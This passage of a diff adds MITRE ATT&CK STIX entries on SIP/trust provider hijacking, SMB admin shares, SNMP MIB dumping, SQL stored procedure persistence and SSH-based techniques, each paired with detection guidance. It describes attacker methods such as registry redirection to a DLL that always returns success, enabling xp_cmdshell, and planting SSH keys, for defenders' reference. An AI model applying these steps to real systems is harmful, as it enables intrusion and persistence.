DsAddSidHistory. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms677982.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T19:35:58.954Z", + "name": "SIP and Trust Provider Hijacking", + "created": "2018-04-18T17:59:24.739Z", + "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1198", + "external_id": "T1198", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Authenticode", + "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/ms537359.aspx" + }, + { + "source_name": "Microsoft WinVerifyTrust", + "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "EduardosBlog SIPs July 2008", + "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.", + "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/" + }, + { + "source_name": "Microsoft Catalog Files and Signatures April 2017", + "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files" + }, + { + "source_name": "GitHub SIP POC Sept 2017", + "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.", + "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage" + }, + { + "source_name": "Entrust Enable CAPI2 Aug 2017", + "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.", + "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165" + }, + { + "source_name": "Microsoft Registry Auditing Aug 2016", + "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)" + }, + { + "source_name": "Microsoft Audit Registry July 2012", + "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SIP and Trust Provider Hijacking", + "x_mitre_data_sources": [ + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T15:58:04.719Z", + "created": "2020-02-05T19:34:04.910Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", + "x_mitre_defense_bypassed": [ + "Application control", + "Autoruns Analysis", + "Digital Certificate Validation", + "User Mode Signature Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID} that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the DLL and Function Registry values in HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID} that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps" + ], + "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1553/003", + "external_id": "T1553.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Authenticode", + "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/ms537359.aspx" + }, + { + "source_name": "Microsoft WinVerifyTrust", + "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx" + }, + { + "source_name": "SpectorOps Subverting Trust Sept 2017", + "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", + "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" + }, + { + "source_name": "EduardosBlog SIPs July 2008", + "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.", + "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/" + }, + { + "source_name": "Microsoft Catalog Files and Signatures April 2017", + "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files" + }, + { + "source_name": "GitHub SIP POC Sept 2017", + "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.", + "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage" + }, + { + "source_name": "Entrust Enable CAPI2 Aug 2017", + "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.", + "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165" + }, + { + "source_name": "Microsoft Registry Auditing Aug 2016", + "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)" + }, + { + "source_name": "Microsoft Audit Registry July 2012", + "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", + "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SMB/Windows Admin Shares", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Logon Session: Logon Session Creation", + "Network Share: Network Share Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-23T21:16:02.812Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11T18:25:28.212Z", + "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)", + "x_mitre_system_requirements": [ + "SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account." + ], + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/002", + "external_id": "T1021.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/561.html", + "external_id": "CAPEC-561", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx" + }, + { + "source_name": "Microsoft Admin Shares", + "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", + "url": "http://support.microsoft.com/kb/314984" + }, + { + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts", + "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", + "source_name": "Lateral Movement Payne" + }, + { + "source_name": "Windows Event Forwarding Payne", + "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem" + }, + { + "source_name": "Medium Detecting WMI Persistence", + "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SNMP (MIB Dump)", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T01:54:22.812Z", + "created": "2020-10-19T23:51:05.953Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", + "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1602/001", + "external_id": "T1602.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051", + "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.", + "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "source_name": "US-CERT-TA18-106A" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3", + "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.", + "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SQL Stored Procedures", + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T23:30:20.638Z", + "created": "2019-12-12T14:59:58.168Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ", + "x_mitre_contributors": [ + "Carlos Borges, @huntingneo, CIP", + "Lucas da Silva Pereira, @vulcanunsec, CIP", + "Kaspersky" + ], + "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1505/001", + "external_id": "T1505.001", + "source_name": "mitre-attack" + }, + { + "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/", + "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019.", + "source_name": "NetSPI Startup Stored Procedures" + }, + { + "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/", + "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.", + "source_name": "Kaspersky MSSQL Aug 2019" + }, + { + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017", + "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.", + "source_name": "Microsoft xp_cmdshell 2017" + }, + { + "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017", + "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.", + "source_name": "Microsoft CLR Integration 2017" + }, + { + "url": "https://blog.netspi.com/attacking-sql-server-clr-assemblies/", + "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019.", + "source_name": "NetSPI SQL Server CLR" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-10-15T14:15:06.853Z", + "name": "SSH", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_system_requirements": [ + "An SSH server is configured and running." + ], + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nOn macOS systems log show --predicate 'process = \"sshd\"' can be used to review incoming SSH connection attempts for suspicious activity. The command log show --info --predicate 'process = \"ssh\" or eventMessage contains \"ssh\"' can be used to review outgoing SSH connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nOn Linux systems SSH activity can be found in the logs located in /var/log/auth.log or /var/log/secure depending on the distro you are using.", + "created": "2020-02-11T18:27:15.774Z", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/004", + "external_id": "T1021.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins", + "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", + "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SSH Authorized Keys", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-25T16:32:23.367Z", + "created": "2020-06-24T12:42:35.144Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_detection": "Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1098/004", + "external_id": "T1098.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.ssh.com/ssh/authorized_keys/", + "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.", + "source_name": "SSH Authorized Keys" + }, + { + "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities", + "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.", + "source_name": "Venafi SSH Key Abuse" + }, + { + "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability", + "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.", + "source_name": "Cybereason Linux Exim Worm" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-25T19:00:50.826Z", + "name": "SSH Hijacking", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1184", + "external_id": "T1184", + "source_name": "mitre-attack" + }, + { + "source_name": "Slideshare Abusing SSH", + "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", + "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219" + }, + { + "source_name": "SSHjack Blackhat", + "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", + "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf" + }, + { + "source_name": "Clockwork SSH Agent Hijacking", + "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", + "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking" + }, + { + "source_name": "Welivesecurity Ebury SSH", + "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.", + "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "SSH Hijacking", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1563/001", + "external_id": "T1563.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Slideshare Abusing SSH", + "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", + "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219" + }, + { + "source_name": "SSHjack Blackhat", + "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", + "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf" + }, + { + "source_name": "Clockwork SSH Agent Hijacking", + "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", + "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking" + }, + { + "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident", + "description": 